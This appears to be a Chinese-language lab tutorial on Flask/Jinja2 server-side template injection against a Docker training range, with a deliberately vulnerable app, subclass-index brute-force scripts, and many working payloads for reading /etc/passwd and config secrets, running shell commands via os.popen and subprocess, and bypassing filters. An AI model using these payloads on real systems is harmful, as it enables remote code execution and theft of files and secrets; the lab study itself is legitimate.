ssti模板注入

靶场 重庆橙子科技ssti靶场

开启靶场命令
sudo docker run -p 18022:22 -p 18080:80 -i -t mcc0624/flask_ssti:last bash -c ‘/etc/rc.local; /bin/bash’

0x03 Python flask变量及方法

Flask变量规则

通过向规则参数添加变量部分 可以动态构建URL。

image-20250508204707806

image-20250508204726517

image-20250508205537745

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from flask import Flask
app = Flask(__name__)

@app.route("/benben/<name>")
def ben(name):
return "hello %s" % name
@app.route('/int/<int:postID>')
def id(postID):
return "hello %d" % postID
@app.route('/rev/<float:revNo>')
def revision(revNo):
return "hello %f" % revNo
if __name__ == "__main__":
app.run(debug=True,host='0.0.0.0',port=8081)

Flask HTTP方法

image-20250508205628546

image-20250508205635736

index.html要保存在同目录的 “templates” 文件夹下

1
2
3
4
5
6
7
8
9
10
11
<html>
<body>

<form action ="http://127.0.0.1:5000/login" method="post">
<p>Enter Name:</p>
<p><input type = "text" name="ben"></p>
<p><input type ="submit" value="submit"/></p>
</form>

</body>
</html>

image-20250508210942679

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from flask import Flask,redirect,url_for,request,render_template
app=Flask(__name__)
@app.route('/')
def index():
return render_template("index.html")
@app.route('/success/<name>')
def success(name):
return 'welcome %s' %name
@app.route('/login',methods=['POST',"GET"])
def login():
if request.method == "POST":
print(1)
user=request.form['ben']
return redirect(url_for('success',name=user))
else:
print(2)
user=request.args.get('ben')
return redirect(url_for('success',name=user))
if __name__=='__main__':
app.run(debug=True)

0x04flask模板介绍

Flask模板

image-20250508211335579

使用模板:使用静态的页面html展示动态的内容

image-20250508211415862

视图函数的主要作用是生成请求的响应

image-20250508211515923

render_template

加载html文件。默认文件路径在templates目录下

image-20250508211604519

1
2
3
4
5
6
7
8
from flask import Flask,render_template
app=Flask(__name__)
@app.route("/")
def index():
return render_template("index.html")

if __name__=='__main__':
app.run(debug=True)
1
2
3
4
5
6
7
8
9
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<body>
模板html展示界面
</body>
</head>
</html>

image-20250508211951784

image-20250508212047621

image-20250508213109318

1
2
3
4
5
6
7
8
9
10
11
12
13
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<body>
模板html展示界面
<br>
{{ my_str }}
<br>
{{ my_int }}
</body>
</head>
</html>
1
2
3
4
5
6
7
8
9
10
from flask import Flask,render_template,request
app=Flask(__name__)
@app.route("/")
def index():
my_str = request.args.get('ben')
my_int = 12
return render_template("index.html",my_str=my_str,my_int=my_int)

if __name__=='__main__':
app.run(debug=True)

image-20250508213133028

image-20250508213235104

image-20250508213241364

这个可以单独显示 my_dict 里 name的值

render_template_string

用于渲染字符串,直接定义内容

image-20250508213536329

这个就相当于把html与py结合了 直接写一个py代码 在py代码里渲染字符串

0x05模板注入漏洞介绍

image-20250508213844313

image-20250508214347450

1
2
3
4
5
6
7
8
9
10
from flask import Flask,request,render_template_string
app=Flask(__name__)
@app.route("/",methods=['GET'])
def index():
str = request.args.get('ben')
html_str="<html><head></head><body>{{str}}</body></html>"
return render_template_string(html_str,str=str)
if __name__=="__main__":
app.debug=True
app.run('127.0.0.1',8080)

上面无漏洞

下面有模板注入漏洞

image-20250508215212870

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from importlib.resources import contents
import time
from flask import Flask,request,render_template_string
app=Flask(__name__)
@app.route("/",methods=['GET'])
def index():
str = request.args.get('ben')
html_str="""
<html>
<head></head>
<body>{0}
</body>
</html>
""".format(str)
return render_template_string(html_str)
if __name__=="__main__":
app.debug=True
app.run('127.0.0.1',8080)

image-20250508215234951

image-20250508215312277

SSTI

image-20250508215600780

image-20250508215615004

image-20250508215628965

0x06python继承关系和魔术方法

python继承关系

image-20250508215828708

image-20250508220119099

1
2
3
4
5
6
class A:pass
class B(A):pass
class C(B):pass
class D(B):pass
c=C()
print(c.__class__.__mro__)

image-20250508220145619

image-20250508220243013

1
2
3
4
5
6
class A:pass
class B(A):pass
class C(B):pass
class D(B):pass
c=C()
print(c.__class__.__mro__[1].__subclasses__())

image-20250508220302705

魔术方法

1
2
3
4
5
6
7
8
9
__class__  查找当前类型的所属对象
__base__ 沿着父子类的关系往上走一个
__mro__ 查找当前类对象的所有继承类
__subclasses() 查找父类下的所有子类
__inir__ 查看类是否重载,重载是指程序在运行时已经加载好了这个模块到内存中如果出现warpper字眼,说明没有重载
__globals__ 函数会议字典的形式返回当前对象的全部全局变量
__builtins__ 提供对python的所有"内置"标识符的直接访问
eval()计算字符串表达式的值
popen()执行一个shell以运行命令来开启一个进程

检查漏洞

1
{{''.__class__.__base__.__subclasses__()}}

image-20250508225038056

image-20250508232908191

0x07SSTI常用注入模块利用上

image-20250509134125525

image-20250509134140565

文件读取

查找子类_frozen_importlib_external.FileLoader

1
<class '_frozen_importlib_external.FileLoader'>
1
2
3
4
5
6
7
8
9
10
11
12
import requests
url = input('请输入url链接:')
for i in range(500):
data = {"name":"{{().__class__.__base__.__subclasses__()["+str(i)+"]}}"}
try:
response = requests.post(url, data=data)
#print(response.text)
if response.status_code == 200:
if '_frozen_importlib_external.FileLoader' in response.text:
print(i)
except:
pass

image-20250509135459586

image-20250509135508772

FileLoader的利用

1
["get_data"](0,"/etc/passwd")

调用get_data方法,传入参数0和文件路径

1
name={{''.__class__.__base__.__subclasses__()[79]['get_data'](0,'/etc/passwd')}}

读取配置文件下的flag

1
{{url_for.__globals__['current_app'].config.FLAG}}
1
{{get_flashed_messages.__globals__['current_app'].config.FLAG}}

image-20250509135649127

image-20250509143950248

内建函数eval执行命令

image-20250509145415334

1
2
3
4
5
6
7
8
9
10
11
12
import requests
url = input('请输入url链接:')
for i in range(500):
data = {"name":"{{().__class__.__base__.__subclasses__()["+str(i)+"].__init__.__globals__['__builtins__']}}"}
try:
response = requests.post(url, data=data)
#print(response.text)
if response.status_code == 200:
if 'eval' in response.text:
print(i)
except:
pass

payload:

1
name={{().__class__.__base__.__subclasses__()["117"].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("cat /flag").read()')}}

image-20250509145857735

image-20250509145926059

os模块执行命令

在其他函数中直接调用os模块

通过config,调用os

1
{{config.__class__.__init__}}.__globals__['os'].popen('whoami').read()}}

通过url_for,调用os

1
{{url_for}}.__globals__.os.popen('whoami').read()}}

lipsum

1
{{lipsum.__globals__.os.popen('ls').read()}}

在已经加载os模块的子类里直接调用os模块

1
{{''.__class__.__bases__[0].__subclasses__()[199].__init__.__globals__['os'].popen("ls -l /opt").read()}}
1
{{self.__dict__._TemplateReference__context.keys()}}  可以查到一些可用的函数

image-20250509150517633

1
name={{().__class__.__base__.__subclasses__()[426].__init__.__globals__.os.popen('id').read()}}

image-20250509151606280

importlib类执行命令

image-20250509152049171

1
2
3
4
5
6
7
8
9
10
11
12
import requests
url = input('请输入url链接:')
for i in range(500):
data = {"name":"{{().__class__.__base__.__subclasses__()["+str(i)+"]}}"}
try:
response = requests.post(url, data=data)
#print(response.text)
if response.status_code == 200:
if '_frozen_importlib.BuiltinImporter' in response.text:
print(i)
except:
pass

可以加载第三方库,使用load_module加载os

1
{{().__class__.__base__.__subclasses__()[69]["load_module"]("os")["popen"]("ls -l /opt").read()}}

image-20250509152231173

linecache函数执行命令

image-20250509152351092

subprocess.Popen执行命令

image-20250509152420616

1
2
3
4
5
6
7
8
9
10
11
12
import requests
url = input('请输入url链接:')
for i in range(500):
data = {"name":"{{().__class__.__base__.__subclasses__()["+str(i)+"]}}"}
try:
response = requests.post(url, data=data)
#print(response.text)
if response.status_code == 200:
if 'subprocess.Popen' in response.text:
print(i)
except:
pass
1
{{().__class__.__base__.__subclasses__()[200]('ls /',shell=true,stdout=-1).communicate()[0].strip()}}

image-20250509152644265

总结

image-20250509152732896

0x08绕过过滤双大括号

1
{% %}

是属于flask的控制语句,且以

1
{% end... %}

结尾

可以通过在控制语句定义变量或者写循环,判断

image-20250509193155027

image-20250509193302957

image-20250509193431905

1
code={%print("".__class__.__base__.__subclasses__()[117].__init__.globals__["popen"]("cat /etc/passwd").read()%}

0x09无回显ssti

image-20250509195320679

image-20250509195401524

image-20250509195919046

image-20250509200017253

0x10 getitem绕过中括S号过滤

image-20250509200145315

image-20250509200443401

1
2
3
code={{''.__class__.__base__.__subclasses__().__getitem__(117).__init__.__globals__.__getitem__('popen')('cat /flag').read()}}


0x11request绕过单双引号过滤

image-20250509200528212

1
code={{().__class__.__base__.__subclasses__()[117].__init__.__globals__[request.args.key](request.args.key2).read()}}
1
http://192.168.248.130:18080/flasklab/level/5?key=popen&key2=cat /flag

image-20250509200859638

0x12过滤器绕过下划线过滤

image-20250509201023418

image-20250509201437760

image-20250509202145877

1
code={{()|attr(request.args.key)|attr(request.args.key2)|attr(request.args.sub)()|attr(request.args.key4)(117)|attr(request.args.key5)|attr(request.args.key6)|attr(request.args.key4)('popen')('cat /flag')|attr('read')()}}
1
http://192.168.248.130:18080/flasklab/level/6?key=__class__&key2=__base__&sub=__subclasses__&key4=__getitem__&key5=__init__&key6=__globals__

image-20250509202220125

image-20250509202231311

image-20250509202239488

image-20250509202252686

0x13中括号绕过点过滤

image-20250509202407993

1
{{''['__class__']}}

image-20250509202510017

image-20250509202522171

0x13关键字过滤绕过

image-20250509202559363

image-20250509202730425

image-20250509202916246

1
{%set a='__cla' %}}{%set b='ss__'%}{{''[a~b]}}

image-20250509203022021

1
{%set a='__ssalc__'|reverse%}{{''[a]}}

image-20250509203101577

image-20250509203207141

0x15Length过滤器绕过数字过滤

image-20250509203408336

image-20250509203505677

image-20250509203544914

1
{%set a='aaaaaaaaaa'|length*'aaaaaaaaaa'|length*'aa'|length-'a'|length%}{{''.__class__.__base__.__subclasses__()[a]}}
1
{{''.__class__.__base__.__subclasses__()[a]}}

image-20250509204155632

0x16config文件读取

image-20250509204350268

image-20250509204505232

1
{{url_for.__globals__['current_app'].config}}
1
{{get_flashed_messages.__globals__['current_app'].config}}

image-20250509204605996

0x17,18混合过滤

dict()和join

dict(): 用来创建一个字典

join: 将一个序列中的参数值拼接成字符串

1
{%set a=dict(benebn=1)%}{{a}}

创建字典a,键名为benben,键值1

1
{%set a=dict(__clas=1,ss=2)|join%}{{a}}

创建字典a,join把参数值拼接成字符串

image-20250509205129846

获取符号

利用flask内置函数和对象获取符号

1
2
{% set ben=({}|select()|string())%}{{ben}}
{% set ben=(lipsum|string)%}{{ben}}

获取下划线 空格也可以

1
{% set ben=(self|string())%}{{ben}}   获取空格
1
{% set ben=(app.__doc__|string)%}{{ben}}

获取百分号

1
2
3
{% set ben=(lipsum|string)|list%}{{ben}}

{% set ben=(lipsum|string)|list%}{{ben[0]}}

image-20250509205947944

image-20250509210023722

image-20250509210605337

image-20250509210800319

image-20250509210855048

image-20250509211105947

image-20250509211240719

image-20250509211246708

image-20250509211755796

image-20250509212033569

image-20250509213010952

image-20250509213318930

0x19python debug pin码计算

image-20250509213810878

image-20250509214409893